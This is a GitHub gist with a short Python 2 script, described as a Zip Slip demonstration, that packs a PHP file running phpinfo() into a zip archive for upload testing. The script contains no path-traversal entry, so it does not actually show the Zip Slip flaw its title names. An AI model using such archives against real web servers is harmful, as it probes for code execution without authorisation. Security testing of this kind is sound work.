Created
April 6, 2020 11:54
-
-
Save amriunix/b180561b84b52bb16deed6834b027307 to your computer and use it in GitHub Desktop.
Python script to demonstrate the Zip Slip
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import zipfile | |
from cStringIO import StringIO | |
def _build_zip(): | |
f = StringIO() | |
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) | |
z.writestr('folder/file.txt', 'This is just a text file!') | |
z.writestr('code.php', '<?php phpinfo(); ?>') | |
z.close() | |
zip = open('zipper.zip','wb') | |
zip.write(f.getvalue()) | |
zip.close() | |
_build_zip() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment